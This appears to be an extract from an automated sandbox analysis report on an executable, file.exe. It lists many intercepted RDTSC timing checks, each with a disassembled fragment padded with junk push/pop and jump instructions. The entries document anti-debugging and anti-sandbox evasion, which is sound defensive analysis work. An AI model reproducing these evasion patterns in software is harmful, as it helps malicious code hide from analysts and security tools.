Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85194 second address: A851AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8C44103h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A851AB second address: A851B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85630 second address: A85640 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FB9C8C440FBh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85640 second address: A85688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jns 00007FB9C8C44D0Ch 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007FB9C8C44D0Bh 0x00000015 jc 00007FB9C8C44CF8h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85688 second address: A856A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8C440FEh 0x00000007 jne 00007FB9C8C440FCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A857C5 second address: A857CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85A71 second address: A85A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85A75 second address: A85A7F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB9C8C44CF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86019 second address: A8602A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB9C8C440FBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8602A second address: A86034 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB9C8C44CFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A886AE second address: A886C8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB9C8C44104h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A886C8 second address: A886E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB9C8C44D07h 0x00000009 je 00007FB9C8C44CF6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A886E9 second address: A886ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A886ED second address: A886F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A883CF second address: A883E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB9C8C440F6h 0x0000000a jns 00007FB9C8C440F6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A883E0 second address: A883F8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB9C8C44D02h 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A883F8 second address: A883FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B6C1 second address: A8B6CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ecx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8AF81 second address: A8AF8D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB9C8C440F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8AF8D second address: A8AFB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007FB9C8C44CF6h 0x0000000b pop eax 0x0000000c pushad 0x0000000d jng 00007FB9C8C44CF6h 0x00000013 jl 00007FB9C8C44CF6h 0x00000019 jnc 00007FB9C8C44CF6h 0x0000001f popad 0x00000020 pop edx 0x00000021 pop eax 0x00000022 pushad 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B3F2 second address: A8B401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jng 00007FB9C8C440FAh 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B401 second address: A8B406 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8DA90 second address: A8DA94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8DA94 second address: A8DAAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jne 00007FB9C8C44CF6h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A90659 second address: A9065D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A94306 second address: A9432E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FB9C8FCBEA6h 0x0000000c pop ecx 0x0000000d push ecx 0x0000000e pushad 0x0000000f ja 00007FB9C8FCBE96h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A94477 second address: A9448E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 jmp 00007FB9C8FCDCAAh 0x0000000c pop esi 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9448E second address: A9449B instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB9C8FCBE96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A94753 second address: A9475D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB9C8FCDCA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99EE4 second address: A99EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9A1D6 second address: A9A1EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FB9C8FCDCA6h 0x0000000a jp 00007FB9C8FCDCA6h 0x00000010 popad 0x00000011 jc 00007FB9C8FCDCA8h 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9A1EF second address: A9A1F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9A1F4 second address: A9A23D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB9C8FCDCB7h 0x00000009 jnl 00007FB9C8FCDCA6h 0x0000000f jmp 00007FB9C8FCDCB7h 0x00000014 popad 0x00000015 push eax 0x00000016 jc 00007FB9C8FCDCA6h 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e pop eax 0x0000001f pop edx 0x00000020 pop eax 0x00000021 pushad 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9A38A second address: A9A38E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9A38E second address: A9A392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9A4F6 second address: A9A500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB9C8FCBE96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9A500 second address: A9A533 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8FCDCAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007FB9C8FCDCC1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3EF6C second address: A3EF70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA3A45 second address: AA3A49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2710 second address: AA2714 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2714 second address: AA2733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB9C8FCDCB3h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2733 second address: AA2737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2737 second address: AA2756 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB9C8FCDCA6h 0x00000008 jmp 00007FB9C8FCDCABh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 js 00007FB9C8FCDCB0h 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2F21 second address: AA2F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA34E9 second address: AA3517 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB9C8FCDCB6h 0x00000009 jmp 00007FB9C8FCDCB4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6A87 second address: AA6A9E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FB9C8FCBEA2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6A9E second address: AA6AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6AA9 second address: AA6AAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6DB8 second address: AA6DBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6DBE second address: AA6DC8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB9C8FCBE96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA70AE second address: AA70B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA70B2 second address: AA70C6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB9C8FCBE9Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA763E second address: AA7648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB9C8FCDCA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDD20 second address: 9FDD26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3CD1 second address: AB3CEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB9C8FCDCA6h 0x0000000a popad 0x0000000b jmp 00007FB9C8FCDCAEh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3CEE second address: AB3CFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4437 second address: AB4458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB9C8FCDCB6h 0x00000009 ja 00007FB9C8FCDCA6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4458 second address: AB445E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4AE6 second address: AB4AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4AEA second address: AB4AF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB51EC second address: AB51F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB51F0 second address: AB51F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB51F6 second address: AB5202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB59E9 second address: AB5A0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8FCBEA1h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FB9C8FCBE96h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3881 second address: AB3885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3885 second address: AB38A0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB9C8FCBE96h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FB9C8FCBE9Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABB09C second address: ABB0A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABB0A0 second address: ABB0A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABB0A6 second address: ABB0AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABB0AC second address: ABB0B3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABB1E8 second address: ABB1EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC7C71 second address: AC7C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop ebx 0x00000009 js 00007FB9C8FCBEA0h 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACBD70 second address: ACBD7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007FB9C8FCDCA6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD95BF second address: AD95C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD95C4 second address: AD95E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8FCDCB7h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD95E1 second address: AD95E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE40ED second address: AE410B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB9C8FCDCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB9C8FCDCB1h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE410B second address: AE4117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2D0B second address: AE2D22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007FB9C8FCDCA6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 ja 00007FB9C8FCDCA6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2D22 second address: AE2D2B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2E7A second address: AE2E83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE32E8 second address: AE3307 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB9C8FCBE96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FB9C8FCBE9Fh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE3307 second address: AE330D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE789C second address: AE78A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE78A0 second address: AE78A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE78A9 second address: AE78AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE78AF second address: AE78B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE78B4 second address: AE78C5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB9C8FCBE9Ch 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDF92 second address: AEDF96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDF96 second address: AEDF9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDF9A second address: AEDFA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDFA0 second address: AEDFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FB9C8FCBEA3h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDFC1 second address: AEDFC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDFC6 second address: AEDFCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEF65B second address: AEF660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEF660 second address: AEF665 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7501 second address: AF752C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB9C8FCDCB2h 0x00000009 popad 0x0000000a jl 00007FB9C8FCDCACh 0x00000010 je 00007FB9C8FCDCAEh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B085A5 second address: B085AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B085AB second address: B085AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B085AF second address: B085B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B085B3 second address: B085B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B085B9 second address: B085D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB9C8FCBE9Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B085D0 second address: B085D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1625D second address: B16261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
